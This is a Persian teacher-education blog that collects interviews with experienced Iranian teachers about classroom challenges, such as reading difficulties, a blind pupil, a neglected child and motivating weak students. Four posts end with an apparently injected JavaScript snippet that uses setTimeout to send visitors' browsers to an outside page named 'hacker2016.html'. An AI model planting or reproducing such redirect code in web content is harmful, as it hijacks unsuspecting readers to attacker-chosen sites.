تجربه معلّمان حرفه ای

Experience of Professional Teachers

تجربه معلّمان حرفه ای

Experience of Professional Teachers

تجربه معلّمان حرفه ای

عمل معلّمی برای معلّمانی که به آن به منزله فرصتی برای اعتلای آموزش و رشد شخصی نظر می کنند، سرشار از تجربه های نادری است که آگاهی از آنان برای دانشجو معلّمان و معلّمان دو خاصیت دارد:
1. آشنایی با تجربه خاص؛
2. کسب انگیزه و اعتماد برای عمل خلّاقانه در موقعیت های واقعی تربیت.
وبلاگ پیش رو، متن مصاحبه کتبی و تصویری از تجربیّات معلّمان حرفه ای، سرآمد و پیشکسوت ایران، بالاخص استان مازندران است
که توسط اینجانب، همکاران و دانشجو معلّمان دانشکده فاطمة الزهراء (س) قائمشهر و دانشکده شهید رجایی بابل وابسته به دانشگاه فرهنگیان در اجرای تکالیف عملکردی واحد درسی " تجربه های خاص حرفه ای در آموزش ابتدایی" تهیه و ثبت شده است. که تلاشی برای شناسایی معلّمان نادر و قدر شناسی از آنان نیز محسوب می شود و پیوندی بین نسل های معلّمان ایجاد می کند.
ضمن سپاس از بازدیدکنندگان محترم، استدعا می شود علاوه بر ارائه نظرات ارزنده خود، در صورت استفاده از متن حق امانت داری را رعایت نموده و با ذکر مأخذ ما را در اعتلای این امر مهم یاری نمایند./ انشاءالله

آخرین نظرات

مهدیه اصغری /حروف الفبا

مهدی تقی پور حیدری | يكشنبه, ۵ ارديبهشت ۱۳۹۵، ۰۷:۲۷ ق.ظ
جناب آقای محمود اصغری آموزگار مقطع ابتدائی در دبستان ولی عصر شهنه کلا آمل با 28 سال سابقه یکی از خاطرات جالبش را در این دوران برایم تعریف کردند.این خاطره هر سال موقع تدریس حروف الفبا بخاطرشان می آید و با یادآوری آن لبخند می زنند . 
در پایه ی اول معمولا یک ماه اول آموزش کلمات ـ درست تلفظ کردن کلمات ، بخش و صدا کشی کلمات که صدای( اول ، وسط، آخر) را تشخیص دهندمربوط می شود . تعداد زیادی از کلمات را برای بچه ها مثال زدند مثلا کلمه توپ که یک بخش دارد با سه صدا و بسیار با دانش آموزان در این مورد کار کردند و این بار از انها خواستند که خودشان بخش و صداکشی کنند و چندین کلمه به آنها دادم که یکی از آن کلمات گاو بود و به یک دانش آموز گفتم آن را بخش و صداکشی کند و دانش آموز گفت گاو یک بخش  دارد و بجای اینکه صدای گاو را که گ ا و است را بگوید یک مرتبه صدای گاو را درآورد (ماماما..)
  • موافقین ۱ مخالفین ۱
  • ۰۵ ارديبهشت ۹۵ ، ۰۷:۲۷
  • مهدی تقی پور حیدری

معصومه نجفی سیار / حل مشکل خواندن دانش آموزان

مهدی تقی پور حیدری | يكشنبه, ۵ ارديبهشت ۱۳۹۵، ۰۷:۲۳ ق.ظ
تجربه از آقای تیغ خورشید معلم ابتدائی  با 23 سال سابقه در پایه ی ششم ابتدائی در سال گذشته بود که متوجه شدیم دانش آموزان در خواندن متون درس مخصوصا فارسی مشکل دارند در ابتدا از دانش آموزان تست خواندن گرفتیم و دریافتیم که آنها در خواندن سرعت ندارند و به صورت عبارت می خواندند و در گفتن معنی و مفهوم مشکل داشتند این موضوع را در شورای معلمین مطرح کردیم برای اولین بار در خواندن گفتیم تعداد غلط ها را بنویسند ، یکی از علت های خوب نخواندن این بود که آنها حروف را می شناختند ولی گنجینه لغاتشان کم بود . در طول ترم اول و دوم به صورت جداگانه کتاب داستان هایی که خودشان تهیه می کنند و کتاب داستان هایی که مدرسه به شما می دهد را بخوانید و خلاصه کنید و خلاصه آن را بیاورید و در راستای این کار یک کتابخانه در کلاس تشکیل شد در کلاس با نصب جعبه کوچک 17 جلد کتاب جمع آوری شد راهکار بعدی این بود که از مجلات رشد کمک گرفتیم و برای تقویت مهارت خواندن دانش آموزان از مجلات رشد آزمون گرفتیم در پایان هر ماه امتحان خیلی ساده ای از خواندن و درک مطلب .  به خانواده ها گفتیم یک جعبه در خانه بگذارند در حد بضاعت خانواده ها که در مضیقه نباشند . از خیری کمک گرفتیم و برای هر بچه ای کتاب تهیه کردیم از گروه سنی ب و ج در طول ترم روی جمله سازی و خواندن بچها کار کردیم و در پایان ترم خانواده ها نیز آمدند و خواندن بچه ها را دیدند که بهتر شده است . بچها در حضور خانواده ها هم متن را خواندند و هم مفهومش را بیان کردند در پایان اولین چیزی که بچه ها باید بدانند : در خواندن قوی باشند و هم بتوانند متن را خلاصه کنند .
  • موافقین ۱ مخالفین ۰
  • ۰۵ ارديبهشت ۹۵ ، ۰۷:۲۳
  • مهدی تقی پور حیدری

ضعف درروخوانی قرآن/فاطمه جانی خلیلی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۷:۳۸ ب.ظ
بسمه تعالی مصاحبه با آقای عبدالله عابدی، بیست و پنج سال سابقه خدمت.
سالها پیش هنگامی که کار خود را در یکی از کلاس ها شروع کردند یک ماهی از تدریس گذشته بود و شناخت کافی از دانش آموز پیدا کرده بودند که متوجه شدند یکی از دانش آموزان درس قرآن را یاد نمی‌گیرد و برایشان سوال بود که چگونه یادگیری برای شاگرد حاصل شود.با خود گفتند که تمام صفحات قرآن یکی است یعنی اگر دانش آموز یک صفحه از قرآن را به خوبی یاد بگیرد همان اصول و نکات ظریف قرآنی در صفحات دیگر هم مشاهده می شود.روزی در کلاس به این دانش آموز گفتند که اگر در دو ماهی که به او فرصت می دهند بتواند یک صفحه ای که مشخص شده است را از رو بخواند تا اگر غلطی مشاهده شد اصلاح شود و اگر ندارید من در پایان ترم همان یک صفحه را از شما امتحان خواهم گرفت.و این کار انگیزه ای برای دانش آموز شده بود تا نهایت تلاش خود را برای امتحان پایانی بکند.وقتی دو ماه شد از دانش آموز خواستند تا آن صفحه را برایشان رو خوانی کند، چند غلط داشت و آقای عابدی گفتند که اشکالی ندارد آن هم تا پایان ترم اصلاح می شود در همین حال به دانش آموز گفتند که صفحه بعد آن را هم میتوانی بخوانی؟دانش آموز ورق زد و شروع به خواندن کرد او توانست کم و بیش این صفحه را هم بخواند و خودش هم تعجب کرده بود که این صفحه هم شبیه به صفحه ای است که باید برایش آماده می شد.در پایان نوبت روخوانی قرآن باید انجام می شد دانش آموز جلو آمد و گفت: آقا جز آن صفحه ای که شما گفتید می توانم صفحه دیگری را هم بخوانم.ترس دانش آموز از شکل ظاهری صفحات قرآن که بنظر سخت می رسید کاملا فرو ریخته بود، در آن روز آقای عابدی بسیار خوشحال شدند و دیدند که یادگیری به بهترین نحو انجام شد.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۹:۳۸
  • مهدی تقی پور حیدری

تجربه تربیتی/کبری غلامعلی تبار

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۷:۱۹ ب.ظ
بسم تعالی تجربه ای از آقای حاج علی خادمی  آموزگارپایه پنجم:
سال89دریکی از مدارس پایین شهر سمنان معلم دبستان بودم به طورمعمول رابطه ی من با دانش آموزانم خوب وصمیمی بوده ،مدتی که ازشروع ترم گذشت متوجه شدم یکی ازدانش آموزان سر کلاس سرحال نیست ودائما درحال چرت زدن است، اوایل بامشورت سایر همکاران سعی کردم با تشویق یا جریمه اورا به درس علاقه مند کنم وسبب پیشرفت درسی  اوشوم وقتی ازین کارنتیجه نگرفتم احتمال دادم شاید کودک مشکل خانوادگی داشته باشد، از والدینش خواستیم به مدرسه بیایند ،درنگاه اول متوجه شدیم هردو والدین معتاد بوده و پس از تحقیق وبررسی مشخص شد آنها در کنار کودک مواد مصرف میکنند،بعد چند جلسه با خانواده و حتی تهدید آنها،کم کم دانش آموز به وضع بهتری در کلاس رسید وحتی در درس هم پیشرفت کرد.....#معلم می تواند با توجه به حالات دانش آموز درکلاس باعث پیشرفت او شود#
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۹:۱۹
  • مهدی تقی پور حیدری

آموزش آب/فاطمه یوسف زاده

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۵:۴۲ ب.ظ
من اعظم السادات قاسم تبار،  لیسانس آموزش ابتدایی با ده سال سابقه تدریس هستم.
  یک روز هوا بارانی بود و باران نم نم  می بارید.  فرصت را برای آموزش درس آب مناسب دیدم، درحالیکه هنوز به درس آب نرسیده بودیم. به دلیل سن کم دانش آموزان و مشکلات بیرون رفتن از مدرسه این بهترین فرصت برای آموزش آب بود. 
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۷:۴۲
  • مهدی تقی پور حیدری

دخترک نابینا/سحر محرابی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۵:۲۸ ب.ظ
بسمه تعالی تجربه ی کلاسی  خانم زارعی  در اولین سال  تشکیل  پایه ی ششم  در مدارس ابتدایی:در گفت و گویی که با خانم زارعی داشتم، ایشان  توضیح دادند 
در سال1391 - اولین سال تشکیل پایه ی ششم در مدارس ابتدایی - دانش آموز نابینایی که پایه ی ششم ابتدایی بود در کلاسم حضور یافت.  ایشان از مشکلاتشان در آن زمان گفتند: از جمله اینکه کتاب ها تغییر کرده بود و  این دانش آموز کتاب جدیدی نداشت و علاوه بر آن خود ایشان هم خط بریل را بلد نبودند. دخترک نابینا هم اوایل نمی توانست ارتباط خوبی با معلم و دانش آموزان برقرار کند و با آن ها همکاری نمی کرد.خانم ساجدی توانستند  با این دانش آموز ارتباط خوبی برقرار کنندو او را به سمت خود بکشانند. دانش آموز خط بریل واعداد ریاضی را برای خانم زارعی ترجمه  می  کرد و ایشان هم صداهای دروس را که توسط دانش آموزان خوانده می شد، ضبط می کردند و به او می دادند. خانم زارعی گفتند که این دانش آموز  در نهایت  فعالیت های کلاسی مانند بافتنی را از دیگر دانش آموزان کلاس بهتر انجام می داد و با معدل .../19  فارغ التحصیل شد؛ همچنین  ایشان بیان کردند ارتباطشان با این دانش آموز همچنان برقرار است.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۷:۲۸
  • مهدی تقی پور حیدری

مشکل زهرا/سپیده صنعتی اهنگر

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۵:۱۸ ب.ظ
«امیدوارم تمام معلم های ابتدایی بتوانند در ریشه یابی مشکلات دانش اموزان خود بپردازند چرا که دانش اموز بخصوص در مقطع ابتدایی توانایی بسیار بالایی برای پیشرفت دارد» این سطرها،بخشی از مصاحبه لذت بخش من با معلم گرانقدر،خانم درویش زاده که در زمان بسیار کوتاهی به من درس شیرین معلمی اموخت. خانم درویش زاده از مشکل زهرا،دانش اموز با استعداد خود،سخن گفت که اکنون به مرور این سخنان می پردازیم.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۷:۱۸
  • مهدی تقی پور حیدری

محیط زیست/فاطمه ابوالقاسم پورکیا

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۵:۰۱ ب.ظ
تجربه آقای آذری مقدم ، دارای شش سال سابقه تدریس ،مدرسه قمر بنی هاشم ،بندپی شرقی 
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۷:۰۱
  • مهدی تقی پور حیدری

تشویق به گرفتن ستاره ی بیشتر - کاری از خانم خانی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۴:۳۵ ب.ظ
به نام خدا  یک معلم پایه سوم ابتدایی در روستای نقیب کلا واقع در  شهرستان بابل به نام سرکار خانم مرضیه خانی کار بسیار جالبی را انجام داده اند. تجربه ایشان حول محور تشویق دانش آموزان به انجام تکالیف مدرسه است.
از آنجایی که دانش آموزان عموما در  آوردن تکالیف کاهلی و سستی و از انجام آنها شانه خالی می کنند،این معلم برای رفع این مشکلات از دفترچه ارتباط که در اکثر مدرارس توزیع می شوند استفاده سودمند کردند.به این روش که برای دانش آموزان تاریخ شروع و پایانی به طور مثال شنبه تا چهارشنبه را مشخص کردند و با دانش آموزان قرار گذاشتند که اگر دانش آموز در این تاریخ تمام تکایف خود را انجام دهد ستاره میگیرد و هنگامی که تعداد این ستاره ها به 10 عدد رسید ،این دانش آموز به عنوان شاگرد منظم و منضبط سر صف صبحگاهی معرفی می شود و جایزه دریافت می کند.و بالعکس دانش آموزی که تکالیف خود را در تاریخ مشخص انجام ندهد معلم برایش یک خط قرمز در دفترچه یادداشت میکند.واگر تا آخر هفته خط قرمز در دفترچه اش نباشد یک ستاره میگیرد و اگر خط قرمز داشته باشد ستاره نمی گیرد. با این کار به ظاهر ساده وسهل معلم در دانش آموزان انگیزه ایجاد کرد تا دانش آموزان به انجام تکالیف خود مقید شوند. 
 نرگس مسیح پور، فائزه تیمورپور، فاطمه شوبکلایی
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۶:۳۵
  • مهدی تقی پور حیدری

آرزوی من/ زهرا صبورا سراجی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۴۰ ب.ظ
اینجانب خانم عباس­ زاده در یکی از سال های دوران تدریسم دانش آموزی به نام کمیل در کلاس دوم ابتدایی داشتم که پدرش کارگر و زحمت کش بود و معمولا زمان کمی در کنار خانواده اش بود.هنگام بررسی تکالیف، در یکی از درس های هدیه های آسمان در قسمتی به عنوان" آرزوهای من" دیدم کمیل نوشته است من آرزو دارم پدرم فقط یکبار با من به مدرسه بیاید.تا بحال پدرش را در مدرسه ندیده بودم ولی تصمیم داشتم هرطور شده او را به مدرسه بیاورم چون با دیدن این نوشته خیلی مضطرب حال شدم.نامه ای را از مدیر تقاضا کردم تا پدر کمیل را به مدرسه بیاورم ولی آقای مدیر نیز گفتند این آقا وضع مالی خوبی ندارد و صبح زود سرکار می رود ولی من با اصرار گفتم اگر لازم باشد درآمد یکروزش را به او می دهم ولی حتما باید بیاید.به کمیل نیز گفتم اگر پدرت قبول نکرد که بیاید تو هم به مدرسه نیا...فردای آن روز کمیل تنها به مدرسه آمد و گفت پدرش هروقت توانست حتما می آید.تقریبا اواسط زنگ اول بود که آقای مدیر به کلاس آمد و پدر کمیل را همراه خود آوردند.من ایشان را به کلاس دعوت کرده و استقبال کردم و از کمیل پرسیدم که این آقا را می شناسی؟ او گفت: بله پدرم هستند...گفتم ببخشید که مزاحم شما شدم آقا...شنیدید که کمیل جان گفتند بابای من به مدرسه اومده؟ گفتند:بله. کتاب هدیه آسمان کمیل را دست پدرش دادم و خواستم قسمت آرزوهای او را بخواند.پدر با خواندن آن جمله اشک در چشمانش جمع شد و از من برای اینکه توانستم آرزوی کوچک فرزندش را بر آورده کنم تشکر کرد...خوشحالم که توانستم کار کوچکی برای خوشحالی یکی از دانش آموزانم انجام دهم. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",5000);
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۵:۴۰
  • مهدی تقی پور حیدری

من همه دانش آموزانم را می بینم / زهرا قربان پور

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۱۶ ب.ظ
من حکیمه فغان پور، دبیر دین و زندگی دبیرستان های بابل هستم ، از دانشگاه الزهرا با مدرک لیسانس الهیات ،      فارغ التحصیل شدم و الان 24 سال ، سابقه تدریس دارم. حدود دو سال پیش، دانش آموزی داشتم که از نظر روحی دچار تنش هایی می شد، ناگهان عصبانی می شد و سر بچه های دیگر، داد می زد. برخلاف همکارانم که در دفتر مدرسه مدام از این دانش آموز گله می کردند و می گفتند بودنش در کلاس غیر قابل تحمل است، من نسبت به این دانش آموز کنجکاو شدم و نیرویی از درون مرا وادار می کرد که مشکلش را حل کنم..... به ذهنم رسید که او را در گروهی قرار دهم که بچه های قوی تری در آن بودند و از بچه های گروه خواستم کمکش کنند تا بتواند آیات را ترجمه کند، آنوقت از او ترجمه را می پرسیدم و با کوچکترین پیشرفتی، او را تشویق می کردم و فراوان از او تعریف می کردم. کم کم او خودش وارد کار شد و برای ترجمه و تمرین، داوطلب می شد. یک روز به بچه ها گفتم حدیثی در مورد نماز بیاورند، آن وقت این دانش آموز را که حالا  به  درس دین و زندگی علاقه نشان می داد، پای تخته آوردم و با تشویق های مکررم ،خوشحالی را در چشمانش می دیدم. نمره او که ابتدای سال از 10 پایین تر بود، در نوبت دوم به 17 رسیده بود و من از روحیه خوب و پیشرفت درسی اش، خوشحال بودم. او حالا مثل بچه های دیگر ، از بودن در کلاس ، راضی و آرام بود. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",0000);
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۵:۱۶
  • مهدی تقی پور حیدری

جادوی شعر / زهرا قربان پور

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۱۲ ب.ظ
من سیما وحدانی، آموزگار پایه سوم ابتدایی، با 27 سال سابقه کار و مدرک لیسانس آموزش ابتدایی هستم. یکی از تجربه هایی که الان هم در کلاس هایم از آن استفاده می کنم مربوط به استفاده از شعر برای بچه ها است؛ در طی سال های تدریسم متوجه شدم که بعضی بچه ها درس را جدی نمی گیرند و به فکر تلاش برای یادگیری نیستند، من در کارم با بچه های زیادی مواجه شدم که متاسفانه این گونه بودند و فرایند درس را هم برای من و هم برای باقی بچه ها با مشکل مواجه می کردند، راهی که من برای این مانع در درس انجام دادم، استفاده از شعر بود. همه بچه ها عاشق شعر و خواندن آن هستند پس از آن ها می خواستم که مفاهیم را به صورت شعر حفظ کنند؛ که خوشبختانه در مورد بچه های بازیگوش کلاس که به خاطر عدم همکاری شان در درس، ذهن مرا به خود مشغول کرده بودند، خیلی خوب جواب داد. آن ها شعر را حفظ می کردند و مشتاقانه آن را می خواندند و می نوشتند و مفاهیم زیادی مثل همین مفهوم دریا را که اخیرا درس دادم، یاد می گرفتند بدون اینکه مزاحم تدریس و یادگیری بچه های دیگر کلاس شوند. در واقع  جادوی شعر بچه های مرا مشتاقانه به کلاس درس برگرداند. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",0000);
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۵:۱۲
  • مهدی تقی پور حیدری

بازی های الفبایی/مهدیه حسینی کردکندی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۰۶ ب.ظ
بسمه تعالی زهرا فلاح زیولایی هستم.آموزگار پایه اول دبستان شهید سجادی کوهیخیل شهرستان جویبار.بیست و سه سال سابقه ی تدریس در آموزش و پرورش را دارم که بیستو دو سال آن در پایه ی اول بوده است.در سال 73 از تربیت معلم قایمشهر فارغ التحصیل شدم  دو سال بعد برای دریافت کارشناسی ابتدایی وارد دانشگاه آزاد و پس از آن در منطقه ی جویبار مشغول به تدریس شدم. همیشه می دیدم اکثر معلمین در پایه ی اول از ضعف املایی دانش آموزان خود گله می کنند.بعضی از معلمین می گفتند که مثلا دانش آموز پایه ی چهارم اسم خود را هم نمی تواند بنویسد یا حروف را نمی شناسد.من در کنار کارهایی که انجام از راه کار هایی نیز استفاده کردم که موجب تقویت املایی دانش آموزانم شده است. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",0000);
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۵:۰۶
  • مهدی تقی پور حیدری

جشن بهانه ایی برای باهم بودن/الهه رضی نژاد

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۲:۵۹ ب.ظ
به نام خدامن هر سال به مناسبت نزدیک شدن به عید نوروز،والدین دانش آموزان را به مدرسه دعوت می کردیم و جشنی همراه با آن ها میگرفتیم.در جشن دانش آموزان همراه با والدین شان کاردستی درست می کردند، و به بهترین کاردستی از نظر بقیه به رسم یادبود هدیه می دادیم.این جشن بهانه ایی بود برای در کنار هم بودن خانواده ها،تا دانش آموزانی که در طول سال والدین شان فرصت وقت گذراندن و بازی را  با آنها را نداشتند و همچنین دیدار دوباره ایی با والدین شان داشتیم تا آن ها را در جریان تحصیل شان نیز قرار بگیرند.(معلم دوم ابتدایی،بازنشسته،خانم عباس زاده)
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۴:۵۹
  • مهدی تقی پور حیدری

حروف بدون نقطه/سارا کیانی حاجی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۲:۴۹ ب.ظ
خانم سودابه نصرالله پور با 13 سال سابقه تدریس در پایه اول در یکی از دبستان های پسرانه شهرستان بابل مشغول به کار هستند.ایشان در جواب تجربه ی کاری که در این چند سال بدست اوردند؛ تجربه ای در رابطه با مشکلات نقطه گذاری دانش اموزان کلاسشان بیان نمودند. برداشت من از عرایض ایشان این بود که یکی از مشکلاتی که دانش اموزان در پایه اول با ان مواجه هستند این است که نقطه بعضی از حروف را نمی گذارند یا ان را کم و زیاد می کنند.این معلم در راستای حل این مشکل در کلاس، تمارین متعددی به دانش اموزان ارائه کرد.مثلا متنی را که بچه ها کاملا با ان اشنا بودند را بدون نقطه به ان ها می داد تا خود نقطه کلمات را بگذارند و نوشته خود را تصحییح کنند. ایشان اعتقاد داشتند که با این کار توجه بچه ها بیشتر به سمت جای نقاط و تعداد ان در حروف جلب می شود.یکی دیگر از تمارین این بود که بچه ها از روی نوشته های خود با صدای بلند بخوانند. به عقیده ایشان این کار خیلی سریع بچه ها را به اشتباهاتشان می رساند زیرا ان ها کلماتی را که نقطه شان جابه جا شده یا نقطه ان را نگذاشته اند نمی توانند بخوانند. این ایشان توانستند با ارائه چنین تمرین هایی در کلاس مشکلات دانش اموزان را در نقطه گذاری حروف حل کنند.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۴:۴۹
  • مهدی تقی پور حیدری

راهنمای زندگی /فاطمه ذوالفقاری کریمی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۲:۲۲ ب.ظ
مشاور مدرسه شهید محسن تبار دراز کش بندپی شرقی بابل آقای ایوب طالبی حسنکلا دربهمن سال 1389، یکی از والدین به همراه فرزند دوم ابتدایی اش برای راهنمایی ومشاوره به دفتر آمدند که ما در ادعا می کرد که فرزندش هیچ توانایی در یادگیری درس ندارد ومعلم ومدیرش تقا ضا کردنذ که والدین اورا به مدرسه استثنایی بفرستند .............آنهاادعا می کردند دانش اموز هیچ توانایی در یادگیری ندارد ولی من با دیدن دانش آموز با این امر مخالفت کردم وخواهان تست یادگیری از دانش آموز شدم وفهمیدم که دانش آموز فقط دارای اختلال یادگیری است ونیاز به کمی کمک وتوجه بیشتر والدین ومعلم دارد وبا کمک بیشتر ،پیشرفت زیادی  می کند وبر خلاف تصور معلم ومدیر نیازی به مدرسه ی استثنایی ندارد .با معلم دانش آموز صجبت کردم وراهکارهایی را هم به او وهم به والدینش دادم وبا بررسی موقعیت او بعد از چند وقت متوجه  پیشرفت روز افزون دانش آموز شدم ووالدین اونیز خیلی خوشحال بودند واین دانش اموز به علت تلقیناتی که به او شده بود وکمبود اعتماد به نفس آعتماد به نفس کاملا نا امید شده بود وهیچ تلاشی نداشت ولی با تلاش بیشتر معلم ووالدین وضعیتش به طور چشم گیری بهبود یافتش
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۴:۲۲
  • مهدی تقی پور حیدری

دخترک بازیگوش/کلثوم خرم گاه

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۱:۴۹ ب.ظ
جعفر گت­ بابایی هستم، متولد 1342 از شهرستان بابلسر. پس از کسب مدرک کاردانی در رشته آموزش ابتدایی به استخدام آموزش و پرورش شهرستان شهریار درآمدم. بعد از پنج سال با انتقالی به شهرستان بابلسر، در مدارس شهرستان اعم از روستا و شهر مشغول به کار شدم. در طول سالهای خدمتم تجربیات زیادی کسب نمودم که می­­­­­­ توانم به یکی از آنها که در بعد آموزشی است اشاره کنم. در یکی از سالها ...
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۳:۴۹
  • مهدی تقی پور حیدری

ومعلم معجزه می کند.../طاهره جنت فریدونی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۱:۴۵ ب.ظ
خانم معصومه قدرتی ،یکی از معلمان موفق شهرستان تنکابن،دارای 29سال سابقه ی کار است ودر پایه ی سوم ابتدایی مشغول به خدمت می باشد. خانم قدرتی یکی از خاطرات سال های اول خدمتش رادر یکی از روستا های دوردست تنکابن در حدود سال 76-75بعد از عرض ارادت خدمت تمام فرهنگیان  بازگو می کند:
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۳:۴۵
  • مهدی تقی پور حیدری

تشویق با اذان / سمیه حلیمی جلودار

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۱:۳۵ ب.ظ
شاگرد پسری داشتم که در کلاس سوم ابتدایی با من بود. این شاگردم یک خواهر داشت که در مدرسه تیزهوشان درس می خواند. این پسر برعکس خواهرش دانش آموز خیلی ضعیفی بود . وقتی روزهای اول به کلاسشان رفتم ظاهرش خیلی ساده بود ، دفترهایش خیلی نامرتب بود و لباس پوشیدنش شلخته بود. من از او خواستم که والدینش را به مدرسه بیاورد . مادرش خیلی شیک و مرتب به مدرسه آمد و پدرش ساده پوش و مثل یک کارگر بود . از آنها شغلشان را پرسیدم ، مادرش گفت خانه دارم و پدرش کارگر شرکت آرد بود. از روی این خصوصیات بچه انگار احساس ضعف می کرد در خانه ای که پدرش دائما فعال بود و کار می کرد. پسر هم یک ضعف خاصی داشت . تمام معلمان سالهای پیش هم این پسر را یک بچه ی کودن و تنبل می دانستند. من همیشه دنبال بهانه ای بودم تا این بچه عاشق و علاقه مند به درس شود، هر کاری کردم دیدم این بچه اصلا درس و مدرسه را دوست ندارد . یک روز زنگ بیکاری خودم که زنگ آخر بود در دفتر مدرسه نشسته بودم و ساعت نماز دانش آموزان من بود . بچه های من در صف نماز ایستاده بودند و آماده نماز خواندن . یکدفعه صدای خیلی زیبای اذان گویی را شنیدم . از مدیر پرسیدم این اذان صدای کدام یک از دانش آموزان است ، مدیر گفت که شاگرد شماست . من وقتی اسم دانش اموز را شنیدم خیلی تعجب کردم ، گفتم دانش آموز من که اینقدر ضعیف است با این لحن زیبا مثل یک مؤذن واقعی اذان می گوید!! آن صدای اذان یک بهانه ی کوچکی شد من سر صف نماز جماعت این دانش آموز را تشویق کنم . بچه های دیگر هم خیلی خوشحال شدند که از کلاس خودمان یک چنین دانش آموزی داریم . آن تشویق کوچک من  باعث شد این پسر از فردا سر و وضعش مرتب بود ، همیشه سعی می کرد خودش را به من نشان دهد و خودنمایی کند ، مثلا سر صف می آمد و برنامه های صبحگاهی را اجرا می کرد . مادرش می گفت این تنها سالی است که پسرش با علاقه هر روز به مدرسه می آید و دوست ندارد کلاسش تمام شود . من به عنوان یک معلم خدا را شکر می کنم که حداقل صدای اذانش باعث تشویقش شد و زندگی او را تغییر داد.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۳:۳۵
  • مهدی تقی پور حیدری

دانش آموزی مرزی / عطیه جانبابایی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۱:۳۳ ب.ظ
در سال اول ابتدایی دانش آموزی داشتم به اسم مهدیه که مرزی بود و مشکل خانوادگی داشت و با عمه و پدربزرگش زندگی میکرد . مهم ترین مشکل این دانش آموز مشکل جسمی او بود . مهدیه مادرزادی دندانهایش مشکل داشت و زبانش لوله ای شکل بود ، به گونه ای که به تجویز پزشک مایعات را با پستانک می خورد. این عوامل موجب می شد تا در صحبت کردن مهدیه اختلال ایجاد شود . مهدیه طوری صحبت می کرد که بچه ها متوجه حرفهایش نمی شدند و من که با دقت به حرفهایش گوش می دادم آن را برای دانش آموزان تکرار میکردم . راهکارهایی که به کار می بردم این بود که بیشتر اوقات مهدیه را پای تخته می آوردم و او را وادار به صحبت می کردم ، به او بیشتر توجه می کردم ، او را در نیمکت اول نشاندم ، با خانواده ی او صحبت کردم و به آنها گفتم که مهدیه نیاز به توجه ویژه دارد و البته خانواده اش بسیار به او رسیدگی می کردند که همین عوامل موجب شد مهدیه پیشرفت های فراوانی در زمینه ی گفتاری وارسی داشته باشد.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۳:۳۳
  • مهدی تقی پور حیدری